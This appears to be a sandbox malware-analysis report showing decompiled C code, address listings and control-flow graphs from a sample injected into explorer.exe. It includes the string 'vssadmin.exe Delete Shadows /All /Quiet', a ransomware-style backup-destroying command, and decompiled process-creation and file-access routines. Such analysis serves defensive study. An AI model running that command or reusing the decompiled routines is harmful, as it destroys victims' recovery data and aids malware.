                                                                                                                                                                                                                                                                                                      						_v52(_v8);
                                                                                                                                                                                                                                                                                                      						_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					goto L7;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _t141;
                                                                                                                                                                                                                                                                                                      			}





































































































































                                                                                                                                                                                                                                                                                                      0x01102699
                                                                                                                                                                                                                                                                                                      0x011026a0
                                                                                                                                                                                                                                                                                                      0x011026ac
                                                                                                                                                                                                                                                                                                      0x011026b5
                                                                                                                                                                                                                                                                                                      0x011026be
                                                                                                                                                                                                                                                                                                      0x011026c7
                                                                                                                                                                                                                                                                                                      0x011026d0
                                                                                                                                                                                                                                                                                                      0x011026d9
                                                                                                                                                                                                                                                                                                      0x011026e2
                                                                                                                                                                                                                                                                                                      0x011026eb
                                                                                                                                                                                                                                                                                                      0x011026f4
                                                                                                                                                                                                                                                                                                      0x011026fd
                                                                                                                                                                                                                                                                                                      0x01102706
                                                                                                                                                                                                                                                                                                      0x0110270f
                                                                                                                                                                                                                                                                                                      0x01102715
                                                                                                                                                                                                                                                                                                      0x01102724
                                                                                                                                                                                                                                                                                                      0x0110272c
                                                                                                                                                                                                                                                                                                      0x01102733
                                                                                                                                                                                                                                                                                                      0x01102759
                                                                                                                                                                                                                                                                                                      0x0110275e
                                                                                                                                                                                                                                                                                                      0x0110276a
                                                                                                                                                                                                                                                                                                      0x01102776
                                                                                                                                                                                                                                                                                                      0x01102782
                                                                                                                                                                                                                                                                                                      0x0110278e
                                                                                                                                                                                                                                                                                                      0x0110279a
                                                                                                                                                                                                                                                                                                      0x011027a6
                                                                                                                                                                                                                                                                                                      0x011027b2
                                                                                                                                                                                                                                                                                                      0x011027be
                                                                                                                                                                                                                                                                                                      0x011027ca
                                                                                                                                                                                                                                                                                                      0x011027d6
                                                                                                                                                                                                                                                                                                      0x011027e2
                                                                                                                                                                                                                                                                                                      0x011027ee
                                                                                                                                                                                                                                                                                                      0x011027fa
                                                                                                                                                                                                                                                                                                      0x01102806
                                                                                                                                                                                                                                                                                                      0x01102812
                                                                                                                                                                                                                                                                                                      0x0110281e
                                                                                                                                                                                                                                                                                                      0x0110282a
                                                                                                                                                                                                                                                                                                      0x01102836
                                                                                                                                                                                                                                                                                                      0x01102842
                                                                                                                                                                                                                                                                                                      0x0110284e
                                                                                                                                                                                                                                                                                                      0x0110285a
                                                                                                                                                                                                                                                                                                      0x01102866
                                                                                                                                                                                                                                                                                                      0x01102872
                                                                                                                                                                                                                                                                                                      0x0110287e
                                                                                                                                                                                                                                                                                                      0x0110288a
                                                                                                                                                                                                                                                                                                      0x01102896
                                                                                                                                                                                                                                                                                                      0x011028a2
                                                                                                                                                                                                                                                                                                      0x011028ae
                                                                                                                                                                                                                                                                                                      0x011028ba
                                                                                                                                                                                                                                                                                                      0x011028c6
                                                                                                                                                                                                                                                                                                      0x011028d2
                                                                                                                                                                                                                                                                                                      0x011028de
                                                                                                                                                                                                                                                                                                      0x011028ea
                                                                                                                                                                                                                                                                                                      0x011028f6
                                                                                                                                                                                                                                                                                                      0x01102902
                                                                                                                                                                                                                                                                                                      0x0110290e
                                                                                                                                                                                                                                                                                                      0x0110291a
                                                                                                                                                                                                                                                                                                      0x01102926
                                                                                                                                                                                                                                                                                                      0x01102932
                                                                                                                                                                                                                                                                                                      0x0110293e
                                                                                                                                                                                                                                                                                                      0x0110294a
                                                                                                                                                                                                                                                                                                      0x01102956
                                                                                                                                                                                                                                                                                                      0x01102962
                                                                                                                                                                                                                                                                                                      0x0110296e
                                                                                                                                                                                                                                                                                                      0x0110297a
                                                                                                                                                                                                                                                                                                      0x01102986
                                                                                                                                                                                                                                                                                                      0x0110298f
                                                                                                                                                                                                                                                                                                      0x01102998
                                                                                                                                                                                                                                                                                                      0x011029a1
                                                                                                                                                                                                                                                                                                      0x011029aa
                                                                                                                                                                                                                                                                                                      0x011029b3
                                                                                                                                                                                                                                                                                                      0x011029bc
                                                                                                                                                                                                                                                                                                      0x011029c5
                                                                                                                                                                                                                                                                                                      0x011029ce
                                                                                                                                                                                                                                                                                                      0x011029d7
                                                                                                                                                                                                                                                                                                      0x011029e0
                                                                                                                                                                                                                                                                                                      0x011029e9
                                                                                                                                                                                                                                                                                                      0x011029ef
                                                                                                                                                                                                                                                                                                      0x011029f8
                                                                                                                                                                                                                                                                                                      0x01102a01
                                                                                                                                                                                                                                                                                                      0x01102a0a
                                                                                                                                                                                                                                                                                                      0x01102a13
                                                                                                                                                                                                                                                                                                      0x01102a1c
                                                                                                                                                                                                                                                                                                      0x01102a25
                                                                                                                                                                                                                                                                                                      0x01102a2e
                                                                                                                                                                                                                                                                                                      0x01102a37
                                                                                                                                                                                                                                                                                                      0x01102a40
                                                                                                                                                                                                                                                                                                      0x01102a46
                                                                                                                                                                                                                                                                                                      0x01102a4a
                                                                                                                                                                                                                                                                                                      0x01102a65
                                                                                                                                                                                                                                                                                                      0x01102a6f
                                                                                                                                                                                                                                                                                                      0x01102a71
                                                                                                                                                                                                                                                                                                      0x01102a8e
                                                                                                                                                                                                                                                                                                      0x01102a93
                                                                                                                                                                                                                                                                                                      0x01102a96
                                                                                                                                                                                                                                                                                                      0x01102a9a
                                                                                                                                                                                                                                                                                                      0x01102a9e
                                                                                                                                                                                                                                                                                                      0x01102aa2
                                                                                                                                                                                                                                                                                                      0x01102aa6
                                                                                                                                                                                                                                                                                                      0x01102aaa
                                                                                                                                                                                                                                                                                                      0x01102aae
                                                                                                                                                                                                                                                                                                      0x01102ab2
                                                                                                                                                                                                                                                                                                      0x01102ab6
                                                                                                                                                                                                                                                                                                      0x01102aba
                                                                                                                                                                                                                                                                                                      0x01102abe
                                                                                                                                                                                                                                                                                                      0x01102ac2
                                                                                                                                                                                                                                                                                                      0x01102ac6
                                                                                                                                                                                                                                                                                                      0x01102aca
                                                                                                                                                                                                                                                                                                      0x01102ace
                                                                                                                                                                                                                                                                                                      0x01102ad2
                                                                                                                                                                                                                                                                                                      0x01102ad6
                                                                                                                                                                                                                                                                                                      0x01102ada
                                                                                                                                                                                                                                                                                                      0x01102ade
                                                                                                                                                                                                                                                                                                      0x01102ae2
                                                                                                                                                                                                                                                                                                      0x01102ae6
                                                                                                                                                                                                                                                                                                      0x01102aea
                                                                                                                                                                                                                                                                                                      0x01102aee
                                                                                                                                                                                                                                                                                                      0x01102af2
                                                                                                                                                                                                                                                                                                      0x01102af6
                                                                                                                                                                                                                                                                                                      0x01102afa
                                                                                                                                                                                                                                                                                                      0x01102afe
                                                                                                                                                                                                                                                                                                      0x01102b02
                                                                                                                                                                                                                                                                                                      0x01102b06
                                                                                                                                                                                                                                                                                                      0x01102b0a
                                                                                                                                                                                                                                                                                                      0x01102b0e
                                                                                                                                                                                                                                                                                                      0x01102b12
                                                                                                                                                                                                                                                                                                      0x01102b16
                                                                                                                                                                                                                                                                                                      0x01102b1a
                                                                                                                                                                                                                                                                                                      0x01102b1e
                                                                                                                                                                                                                                                                                                      0x01102b22
                                                                                                                                                                                                                                                                                                      0x01102b26
                                                                                                                                                                                                                                                                                                      0x01102b2a
                                                                                                                                                                                                                                                                                                      0x01102b2e
                                                                                                                                                                                                                                                                                                      0x01102b32
                                                                                                                                                                                                                                                                                                      0x01102b38
                                                                                                                                                                                                                                                                                                      0x01102b3c
                                                                                                                                                                                                                                                                                                      0x01102b47
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x01102b47
                                                                                                                                                                                                                                                                                                      0x01102735
                                                                                                                                                                                                                                                                                                      0x01102747
                                                                                                                                                                                                                                                                                                      0x01102754
                                                                                                                                                                                                                                                                                                      0x01102744
                                                                                                                                                                                                                                                                                                      0x01102744
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x01102747
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CloseInformationQueryToken
                                                                                                                                                                                                                                                                                                      • String ID: vssadmin.exe Delete Shadows /All /Quiet
                                                                                                                                                                                                                                                                                                      • API String ID: 3130709563-1257766477
                                                                                                                                                                                                                                                                                                      • Opcode ID: 160cce2cfbe6f146ca5ef616a4ad363af5e47fae5bcc8172f51b565fb4639619
                                                                                                                                                                                                                                                                                                      • Instruction ID: fc0892505ed406ec8f9fdd5f97929a0f542dd54f2fa9b28dbbe81b43ddd764c1
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 160cce2cfbe6f146ca5ef616a4ad363af5e47fae5bcc8172f51b565fb4639619
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 43D10C10E18798CAEB10DBB4D8047DEB672EF65704F1050A9914CEB3A1E7BB4A54CB6A
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 479 10f95c0-10f95d1 480 10f95e3-10f95e6 479->480 481 10f95d3-10f95e1 call 10f6970 479->481 483 10f96ab-10f96ae 480->483 481->480 485 10f95eb-10f9657 call 10f16e0 * 3 CreateProcessInternalW 481->485 494 10f9659-10f965d 485->494 495 10f96a8 485->495 496 10f965f-10f9667 494->496 497 10f9669-10f9672 call 10f16e0 494->497 495->483 498 10f9676-10f967a 496->498 497->498 501 10f967c-10f9684 498->501 502 10f9686-10f968f call 10f16e0 498->502 503 10f9693-10f9697 501->503 502->503 506 10f9699-10f969f 503->506 507 10f96a1 503->507 506->507 507->495
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 43%
                                                                                                                                                                                                                                                                                                      			E010F95C0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a20, intOrPtr* _a24, intOrPtr* _a28) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				short _v44;
                                                                                                                                                                                                                                                                                                      				short _v48;
                                                                                                                                                                                                                                                                                                      				char _v92;
                                                                                                                                                                                                                                                                                                      				void* _t33;
                                                                                                                                                                                                                                                                                                      				void* _t42;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					L2:
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t33 = E010F6970(_a4); // executed
                                                                                                                                                                                                                                                                                                      				if(_t33 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(0x44);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v92);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_push(0x10);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_v92 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v48 = 1;
                                                                                                                                                                                                                                                                                                      					_v44 = 1;
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					_push( &_v92);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(_a12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(_a8);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_t42 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x1b8))))(); // executed
                                                                                                                                                                                                                                                                                                      					if(_t42 != 0) {
                                                                                                                                                                                                                                                                                                      						if(_a20 == 0) {
                                                                                                                                                                                                                                                                                                      							_push(_a20);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							 *_a20 = _v24;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_a24 == 0) {
                                                                                                                                                                                                                                                                                                      							_push(_a24);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							 *_a24 = _v20;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_a28 != 0) {
                                                                                                                                                                                                                                                                                                      							 *_a28 = _v16;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v8 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				goto L2;
                                                                                                                                                                                                                                                                                                      			}












                                                                                                                                                                                                                                                                                                      0x010f95c6
                                                                                                                                                                                                                                                                                                      0x010f95d1
                                                                                                                                                                                                                                                                                                      0x010f95e3
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f95e3
                                                                                                                                                                                                                                                                                                      0x010f95d7
                                                                                                                                                                                                                                                                                                      0x010f95e1
                                                                                                                                                                                                                                                                                                      0x010f95eb
                                                                                                                                                                                                                                                                                                      0x010f95ed
                                                                                                                                                                                                                                                                                                      0x010f95f2
                                                                                                                                                                                                                                                                                                      0x010f95fb
                                                                                                                                                                                                                                                                                                      0x010f95fd
                                                                                                                                                                                                                                                                                                      0x010f95ff
                                                                                                                                                                                                                                                                                                      0x010f9604
                                                                                                                                                                                                                                                                                                      0x010f960d
                                                                                                                                                                                                                                                                                                      0x010f960f
                                                                                                                                                                                                                                                                                                      0x010f9616
                                                                                                                                                                                                                                                                                                      0x010f9622
                                                                                                                                                                                                                                                                                                      0x010f9626
                                                                                                                                                                                                                                                                                                      0x010f962b
                                                                                                                                                                                                                                                                                                      0x010f962f
                                                                                                                                                                                                                                                                                                      0x010f9630
                                                                                                                                                                                                                                                                                                      0x010f9632
                                                                                                                                                                                                                                                                                                      0x010f9637
                                                                                                                                                                                                                                                                                                      0x010f9638
                                                                                                                                                                                                                                                                                                      0x010f963a
                                                                                                                                                                                                                                                                                                      0x010f963c
                                                                                                                                                                                                                                                                                                      0x010f9641
                                                                                                                                                                                                                                                                                                      0x010f9645
                                                                                                                                                                                                                                                                                                      0x010f9646
                                                                                                                                                                                                                                                                                                      0x010f9653
                                                                                                                                                                                                                                                                                                      0x010f9657
                                                                                                                                                                                                                                                                                                      0x010f965d
                                                                                                                                                                                                                                                                                                      0x010f966c
                                                                                                                                                                                                                                                                                                      0x010f9674
                                                                                                                                                                                                                                                                                                      0x010f965f
                                                                                                                                                                                                                                                                                                      0x010f9665
                                                                                                                                                                                                                                                                                                      0x010f9665
                                                                                                                                                                                                                                                                                                      0x010f967a
                                                                                                                                                                                                                                                                                                      0x010f9689
                                                                                                                                                                                                                                                                                                      0x010f9691
                                                                                                                                                                                                                                                                                                      0x010f967c
                                                                                                                                                                                                                                                                                                      0x010f9682
                                                                                                                                                                                                                                                                                                      0x010f9682
                                                                                                                                                                                                                                                                                                      0x010f9697
                                                                                                                                                                                                                                                                                                      0x010f969f
                                                                                                                                                                                                                                                                                                      0x010f969f
                                                                                                                                                                                                                                                                                                      0x010f96a1
                                                                                                                                                                                                                                                                                                      0x010f96a1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f96a8
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • CreateProcessInternalW.KERNELBASE(00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000044,?,00000000), ref: 010F9653
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateInternalProcess
                                                                                                                                                                                                                                                                                                      • String ID: D
                                                                                                                                                                                                                                                                                                      • API String ID: 2186235152-2746444292
                                                                                                                                                                                                                                                                                                      • Opcode ID: a164f32c0602351fcb6dc122f962d58bd25b50bf5c424beca08d9dbe598c3ba2
                                                                                                                                                                                                                                                                                                      • Instruction ID: f68e5672b287c7ae178b588264c257fc1d3c7a1d16efff59466f75657f113807
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a164f32c0602351fcb6dc122f962d58bd25b50bf5c424beca08d9dbe598c3ba2
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5312F75600209EFEB04DFA4C846FEE77B4AF48744F104158FB44AB690DB75E944CB95
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 0 30c4a00-30c4a14 1 30c4a1c-30c4a1f 0->1 2 30c4a16-30c4a1a 0->2 4 30c552f-30c5532 1->4 2->1 3 30c4a24-30c4aee call 30cd620 2->3 7 30c4b49-30c4bb7 call 30cd620 3->7 8 30c4af0-30c4b03 call 30cbb40 3->8 15 30c4bb9-30c4bcc call 30cbb40 7->15 16 30c4c12-30c4c9b call 30c16e0 7->16 13 30c4b3d-30c4b41 call 30c7700 8->13 14 30c4b05-30c4b0d call 30c7850 8->14 24 30c4b46 13->24 23 30c4b12-30c4b17 14->23 27 30c4bce-30c4bd6 call 30c7850 15->27 28 30c4c06-30c4c0a call 30c7700 15->28 25 30c4e75-30c5228 call 30cd620 16->25 26 30c4ca1-30c4cb6 call 30cd620 16->26 23->13 29 30c4b19-30c4b1d 23->29 24->7 41 30c5239-30c525c call 30cd620 25->41 42 30c522a-30c5236 call 30cbb40 25->42 26->25 40 30c4cbc-30c4ccf call 30cbb40 26->40 37 30c4bdb-30c4be0 27->37 39 30c4c0f 28->39 29->13 33 30c4b1f-30c4b3a call 30c16e0 29->33 33->13 37->28 43 30c4be2-30c4be6 37->43 39->16 54 30c4e69-30c4e6d call 30c7700 40->54 55 30c4cd5-30c4cf6 call 30c16e0 40->55 57 30c526d-30c528d call 30cd620 41->57 58 30c525e-30c526a call 30cbb40 41->58 42->41 43->28 47 30c4be8-30c4c03 call 30c16e0 43->47 47->28 64 30c4e72 54->64 55->54 75 30c4cfc-30c4d98 call 30c16e0 * 2 NtCreateFile 55->75 68 30c529e-30c52c1 call 30cd620 57->68 69 30c528f-30c529b call 30cbb40 57->69 58->57 64->25 76 30c52d2-30c52e1 68->76 77 30c52c3-30c52cf call 30cbb40 68->77 69->68 103 30c4e4d-30c4e64 call 30cd560 call 30c16e0 75->103 104 30c4d9e-30c4df8 call 30c16e0 * 3 NtQueryVolumeInformationFile 75->104 80 30c53b6-30c53ba 76->80 81 30c52e7-30c52fc call 30c7850 76->81 77->76 85 30c53bc-30c53c7 call 30c7850 80->85 86 30c5435-30c544d call 30c16e0 80->86 94 30c5392-30c53ae call 30c7700 * 3 81->94 95 30c5302-30c5306 81->95 91 30c53cc-30c53d1 85->91 117 30c54fd-30c5501 86->117 118 30c5453-30c5469 call 30c7460 86->118 91->86 96 30c53d3-30c5432 call 30cd560 * 2 call 30cec60 91->96 142 30c53b3 94->142 99 30c5308-30c5323 call 30c16e0 95->99 100 30c5326-30c532a 95->100 96->86 99->100 105 30c532c-30c5347 call 30c16e0 100->105 106 30c534a-30c534e 100->106 103->54 161 30c4dfa-30c4e05 call 30c7850 104->161 162 30c4e40-30c4e4b call 30c16e0 NtClose 104->162 105->106 115 30c536e-30c5372 106->115 116 30c5350-30c536b call 30c16e0 106->116 115->94 119 30c5374-30c538f call 30c16e0 115->119 116->115 121 30c552c 117->121 122 30c5503-30c5507 117->122 118->117 137 30c546f-30c5487 call 30c16e0 118->137 119->94 121->4 122->121 132 30c5509-30c5525 122->132 132->121 153 30c5489-30c5497 call 30c7850 137->153 154 30c54f1-30c54f5 call 30c7700 137->154 142->80 160 30c549c-30c54a1 153->160 159 30c54fa 154->159 159->117 160->154 164 30c54a3-30c54aa 160->164 166 30c4e0a-30c4e0f 161->166 162->103 168 30c54b5-30c54bb 164->168 166->162 169 30c4e11-30c4e3d call 30c16e0 166->169 168->154 170 30c54bd-30c54ef call 30c16e0 168->170 169->162 170->168
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 89%
                                                                                                                                                                                                                                                                                                      			E030C4A00(intOrPtr* _a4, intOrPtr* _a8) {
                                                                                                                                                                                                                                                                                                      				signed int _v8;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v12;
                                                                                                                                                                                                                                                                                                      				signed int _v16;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v20;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v24;
                                                                                                                                                                                                                                                                                                      				struct _GUID* _v28;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v32;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v36;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v40;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v44;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v48;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				signed int _v60;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v64;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v68;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v72;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v76;
                                                                                                                                                                                                                                                                                                      				void* _v80;
                                                                                                                                                                                                                                                                                                      				union _FSINFOCLASS _v84;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v88;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v92;
                                                                                                                                                                                                                                                                                                      				short _v96;
                                                                                                                                                                                                                                                                                                      				short _v98;
                                                                                                                                                                                                                                                                                                      				short _v100;
                                                                                                                                                                                                                                                                                                      				short _v102;
                                                                                                                                                                                                                                                                                                      				short _v104;
                                                                                                                                                                                                                                                                                                      				short _v106;
                                                                                                                                                                                                                                                                                                      				short _v108;
                                                                                                                                                                                                                                                                                                      				short _v110;
                                                                                                                                                                                                                                                                                                      				char _v112;
                                                                                                                                                                                                                                                                                                      				short _v114;
                                                                                                                                                                                                                                                                                                      				short _v116;
                                                                                                                                                                                                                                                                                                      				short _v118;
                                                                                                                                                                                                                                                                                                      				short _v120;
                                                                                                                                                                                                                                                                                                      				short _v122;
                                                                                                                                                                                                                                                                                                      				short _v124;
                                                                                                                                                                                                                                                                                                      				short _v126;
                                                                                                                                                                                                                                                                                                      				short _v128;
                                                                                                                                                                                                                                                                                                      				short _v130;
                                                                                                                                                                                                                                                                                                      				short _v132;
                                                                                                                                                                                                                                                                                                      				short _v134;
                                                                                                                                                                                                                                                                                                      				char _v136;
                                                                                                                                                                                                                                                                                                      				short _v140;
                                                                                                                                                                                                                                                                                                      				short _v142;
                                                                                                                                                                                                                                                                                                      				short _v144;
                                                                                                                                                                                                                                                                                                      				short _v146;
                                                                                                                                                                                                                                                                                                      				short _v148;
                                                                                                                                                                                                                                                                                                      				short _v150;
                                                                                                                                                                                                                                                                                                      				short _v152;
                                                                                                                                                                                                                                                                                                      				short _v154;
                                                                                                                                                                                                                                                                                                      				short _v156;
                                                                                                                                                                                                                                                                                                      				short _v158;
                                                                                                                                                                                                                                                                                                      				short _v160;
                                                                                                                                                                                                                                                                                                      				short _v162;
                                                                                                                                                                                                                                                                                                      				char _v164;
                                                                                                                                                                                                                                                                                                      				short _v166;
                                                                                                                                                                                                                                                                                                      				short _v168;
                                                                                                                                                                                                                                                                                                      				short _v170;
                                                                                                                                                                                                                                                                                                      				short _v172;
                                                                                                                                                                                                                                                                                                      				short _v174;
                                                                                                                                                                                                                                                                                                      				short _v176;
                                                                                                                                                                                                                                                                                                      				short _v178;
                                                                                                                                                                                                                                                                                                      				short _v180;
                                                                                                                                                                                                                                                                                                      				short _v182;
                                                                                                                                                                                                                                                                                                      				short _v184;
                                                                                                                                                                                                                                                                                                      				short _v186;
                                                                                                                                                                                                                                                                                                      				short _v188;
                                                                                                                                                                                                                                                                                                      				short _v190;
                                                                                                                                                                                                                                                                                                      				short _v192;
                                                                                                                                                                                                                                                                                                      				short _v194;
                                                                                                                                                                                                                                                                                                      				char _v196;
                                                                                                                                                                                                                                                                                                      				short _v200;
                                                                                                                                                                                                                                                                                                      				short _v202;
                                                                                                                                                                                                                                                                                                      				short _v204;
                                                                                                                                                                                                                                                                                                      				short _v206;
                                                                                                                                                                                                                                                                                                      				short _v208;
                                                                                                                                                                                                                                                                                                      				short _v210;
                                                                                                                                                                                                                                                                                                      				short _v212;
                                                                                                                                                                                                                                                                                                      				short _v214;
                                                                                                                                                                                                                                                                                                      				short _v216;
                                                                                                                                                                                                                                                                                                      				short _v218;
                                                                                                                                                                                                                                                                                                      				short _v220;
                                                                                                                                                                                                                                                                                                      				short _v222;
                                                                                                                                                                                                                                                                                                      				short _v224;
                                                                                                                                                                                                                                                                                                      				short _v226;
                                                                                                                                                                                                                                                                                                      				short _v228;
                                                                                                                                                                                                                                                                                                      				short _v230;
                                                                                                                                                                                                                                                                                                      				short _v232;
                                                                                                                                                                                                                                                                                                      				short _v234;
                                                                                                                                                                                                                                                                                                      				char _v236;
                                                                                                                                                                                                                                                                                                      				short _v240;
                                                                                                                                                                                                                                                                                                      				short _v242;
                                                                                                                                                                                                                                                                                                      				short _v244;
                                                                                                                                                                                                                                                                                                      				short _v246;
                                                                                                                                                                                                                                                                                                      				short _v248;
                                                                                                                                                                                                                                                                                                      				short _v250;
                                                                                                                                                                                                                                                                                                      				short _v252;
                                                                                                                                                                                                                                                                                                      				short _v254;
                                                                                                                                                                                                                                                                                                      				short _v256;
                                                                                                                                                                                                                                                                                                      				short _v258;
                                                                                                                                                                                                                                                                                                      				short _v260;
                                                                                                                                                                                                                                                                                                      				short _v262;
                                                                                                                                                                                                                                                                                                      				short _v264;
                                                                                                                                                                                                                                                                                                      				short _v266;
                                                                                                                                                                                                                                                                                                      				short _v268;
                                                                                                                                                                                                                                                                                                      				short _v270;
                                                                                                                                                                                                                                                                                                      				short _v272;
                                                                                                                                                                                                                                                                                                      				short _v274;
                                                                                                                                                                                                                                                                                                      				short _v276;
                                                                                                                                                                                                                                                                                                      				short _v278;
                                                                                                                                                                                                                                                                                                      				char _v280;
                                                                                                                                                                                                                                                                                                      				short _v284;
                                                                                                                                                                                                                                                                                                      				short _v286;
                                                                                                                                                                                                                                                                                                      				short _v288;
                                                                                                                                                                                                                                                                                                      				short _v290;
                                                                                                                                                                                                                                                                                                      				short _v292;
                                                                                                                                                                                                                                                                                                      				short _v294;
                                                                                                                                                                                                                                                                                                      				short _v296;
                                                                                                                                                                                                                                                                                                      				short _v298;
                                                                                                                                                                                                                                                                                                      				short _v300;
                                                                                                                                                                                                                                                                                                      				short _v302;
                                                                                                                                                                                                                                                                                                      				short _v304;
                                                                                                                                                                                                                                                                                                      				short _v306;
                                                                                                                                                                                                                                                                                                      				short _v308;
                                                                                                                                                                                                                                                                                                      				short _v310;
                                                                                                                                                                                                                                                                                                      				short _v312;
                                                                                                                                                                                                                                                                                                      				short _v314;
                                                                                                                                                                                                                                                                                                      				short _v316;
                                                                                                                                                                                                                                                                                                      				short _v318;
                                                                                                                                                                                                                                                                                                      				short _v320;
                                                                                                                                                                                                                                                                                                      				short _v322;
                                                                                                                                                                                                                                                                                                      				short _v324;
                                                                                                                                                                                                                                                                                                      				long _v328;
                                                                                                                                                                                                                                                                                                      				long _v332;
                                                                                                                                                                                                                                                                                                      				void* _v340;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v344;
                                                                                                                                                                                                                                                                                                      				char _v348;
